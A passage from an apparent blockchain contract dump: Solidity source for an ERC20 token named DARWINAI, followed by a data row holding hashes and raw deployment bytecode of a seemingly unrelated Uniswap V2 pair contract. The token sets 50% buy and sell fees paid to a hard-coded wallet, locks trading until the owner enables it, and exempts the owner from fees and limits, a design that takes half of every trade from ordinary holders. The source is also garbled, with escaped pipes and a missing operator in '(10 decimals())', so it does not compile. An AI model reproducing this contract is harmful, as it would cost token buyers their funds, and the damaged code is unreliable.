_transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract DARWINAI is ERC20, Ownable { using Address for address payable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => bool) private _isExcludedFromFees; string public creator; uint256 public marketingFeeOnBuy; uint256 public marketingFeeOnSell; uint256 public walletToWalletTransferFee; address public marketingWallet; uint256 public swapTokensAtAmount; bool private swapping; bool public swapEnabled; event ExcludeFromFees(address indexed account, bool isExcluded); event MarketingWalletChanged(address marketingWallet); event UpdateBuyFees(uint256 marketingFeeOnBuy); event UpdateSellFees(uint256 marketingFeeOnSell); event UpdateWalletToWalletTransferFee(uint256 walletToWalletTransferFee); event SwapAndSendMarketing(uint256 tokensSwapped, uint256 bnbSend); event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount); constructor () ERC20(unicode"DARWINAI", "DARWIN AI") { address router; if (block.chainid == 56) { router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Pancake Mainnet Router } else if (block.chainid == 97) { router = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1; // BSC Pancake Testnet Router } else if (block.chainid == 1 \|\| block.chainid == 5) { router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Uniswap Mainnet % Testnet } else { revert(); } IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _approve(address(this), address(uniswapV2Router), type(uint256).max); creator = ""; marketingFeeOnBuy = 50; marketingFeeOnSell = 50; walletToWalletTransferFee = 0; marketingWallet = 0xF88899c9E0972a262313aFEbe840EC796bAf77cd; maxTransactionLimitEnabled = true; _isExcludedFromMaxTxLimit[owner()] = true; _isExcludedFromMaxTxLimit[address(this)] = true; _isExcludedFromMaxTxLimit[address(0xdead)] = true; _isExcludedFromMaxTxLimit[marketingWallet] = true; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(0xdead)] = true; _isExcludedFromFees[address(this)] = true; _mint(owner(), 1e10 * (10 ** decimals())); swapTokensAtAmount = totalSupply() / 5_000; maxTransactionAmountBuy = totalSupply() * 100 / 1000; maxTransactionAmountSell = totalSupply() * 100 / 1000; tradingEnabled = false; swapEnabled = false; } receive() external payable { } function claimStuckTokens(address token) external onlyOwner { require(token != address(this), "Owner cannot claim contract's balance of its own tokens"); if (token == address(0x0)) { payable(msg.sender).sendValue(address(this).balance); return; } IERC20 ERC20token = IERC20(token); uint256 balance = ERC20token.balanceOf(address(this)); ERC20token.transfer(msg.sender, balance); } function excludeFromFees(address account, bool excluded) external onlyOwner{ require(_isExcludedFromFees[account] != excluded,"Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function updateBuyFees(uint256 _marketingFeeOnBuy) external onlyOwner { marketingFeeOnBuy = _marketingFeeOnBuy; require(marketingFeeOnBuy <= 50, "Total Fees cannot exceed the maximum"); emit UpdateBuyFees(marketingFeeOnBuy); } function updateSellFees(uint256 _marketingFeeOnSell) external onlyOwner { marketingFeeOnSell = _marketingFeeOnSell; require(marketingFeeOnSell <= 50, "Total Fees cannot exceed the maximum"); emit UpdateSellFees(marketingFeeOnSell); } function updateWalletToWalletTransferFee(uint256 _walletToWalletTransferFee) external onlyOwner { require(_walletToWalletTransferFee <= 5, "Wallet to Wallet Transfer Fee cannot exceed the maximum"); walletToWalletTransferFee = _walletToWalletTransferFee; emit UpdateWalletToWalletTransferFee(walletToWalletTransferFee); } function changeMarketingWallet(address _marketingWallet) external onlyOwner{ require(_marketingWallet != marketingWallet,"Marketing wallet is already that address"); require(_marketingWallet != address(0),"Marketing wallet cannot be the zero address"); marketingWallet = _marketingWallet; emit MarketingWalletChanged(marketingWallet); } bool public tradingEnabled; function enableTrading() external onlyOwner{ require(!tradingEnabled, "Trading already enabled."); tradingEnabled = true; swapEnabled = true; } function _transfer(address from,address to,uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tradingEnabled \|\| _isExcludedFromFees[from] \|\| _isExcludedFromFees[to], "Trading not yet enabled!"); if (amount == 0) { super._transfer(from, to, 0); return; } if (maxTransactionLimitEnabled) { if ((from == uniswapV2Pair \|\| to == uniswapV2Pair) && !_isExcludedFromMaxTxLimit[from] && !_isExcludedFromMaxTxLimit[to] ) { if (from == uniswapV2Pair) { require( amount <= maxTransactionAmountBuy, "AntiWhale: Transfer amount exceeds the maxTransactionAmount" ); } else { require( amount <= maxTransactionAmountSell, "AntiWhale: Transfer amount exceeds the maxTransactionAmount" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && !swapping && to == uniswapV2Pair && swapEnabled ) { swapping = true; swapAndSendMarketing(contractTokenBalance); swapping = false; } uint256 _totalFees; if (_isExcludedFromFees[from] \|\| _isExcludedFromFees[to] \|\| swapping) { _totalFees = 0; } else if (from == uniswapV2Pair) { _totalFees = marketingFeeOnBuy; } else if (to == uniswapV2Pair) { _totalFees = marketingFeeOnSell; } else { _totalFees = walletToWalletTransferFee; } if (_totalFees > 0) { uint256 fees = (amount * _totalFees) / 100; amount = amount - fees; super._transfer(from, address(this), fees); } super._transfer(from, to, amount); } function setSwapEnabled(bool _enabled) external onlyOwner{ require(swapEnabled != _enabled, "swapEnabled already at this state."); swapEnabled = _enabled; } function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{ require(newAmount > totalSupply() / 1_000_000, "SwapTokensAtAmount must be greater than 0.0001% of total supply"); swapTokensAtAmount = newAmount; emit SwapTokensAtAmountUpdated(swapTokensAtAmount); } function swapAndSendMarketing(uint256 tokenAmount) private { uint256 initialBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); uint256 newBalance = address(this).balance - initialBalance; payable(marketingWallet).sendValue(newBalance); emit SwapAndSendMarketing(tokenAmount, newBalance); } mapping(address => bool) private _isExcludedFromMaxTxLimit; bool public maxTransactionLimitEnabled; uint256 public maxTransactionAmountBuy; uint256 public maxTransactionAmountSell; event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded); event MaxTransactionLimitStateChanged(bool maxTransactionLimit); event MaxTransactionLimitAmountChanged(uint256 maxTransactionAmountBuy, uint256 maxTransactionAmountSell); function setEnableMaxTransactionLimit(bool enable) external onlyOwner { require(enable != maxTransactionLimitEnabled, "Max transaction limit is already set to that state"); maxTransactionLimitEnabled = enable; emit MaxTransactionLimitStateChanged(maxTransactionLimitEnabled); } function setMaxTransactionAmounts(uint256 _maxTransactionAmountBuy, uint256 _maxTransactionAmountSell) external onlyOwner { require( _maxTransactionAmountBuy >= (totalSupply() / (10 decimals())) / 1_000 && _maxTransactionAmountSell >= (totalSupply() / (10 decimals())) / 1_000, "Max Transaction limis cannot be lower than 0.1% of total supply" ); maxTransactionAmountBuy = _maxTransactionAmountBuy * (10 ** decimals()); maxTransactionAmountSell = _maxTransactionAmountSell * (10 ** decimals()); emit MaxTransactionLimitAmountChanged(maxTransactionAmountBuy, maxTransactionAmountSell); } function excludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner { require( _isExcludedFromMaxTxLimit[account] != exclude, "Account is already set to that state"); require(account != address(this), "Can't set this address."); _isExcludedFromMaxTxLimit[account] = exclude; emit ExcludedFromMaxTransactionLimit(account, exclude); } function isExcludedFromMaxTransaction(address account) public view returns(bool) { return _isExcludedFromMaxTxLimit[account]; } }
1	19,499,685	c951a8d3a2d5555f0b01c801e60f5666bfa6a3e75c3f78812f9cd20d71b3ca19	f87e0ff4d43af5fea0fd2b8f8c263890b642b5557f4c004366bc120fbb9c1ad0	14b0b5c40be86a1448a029252d69e974183c8735	5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f	9094c74762ed4f0c67e686a8fe625232b571417c	60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef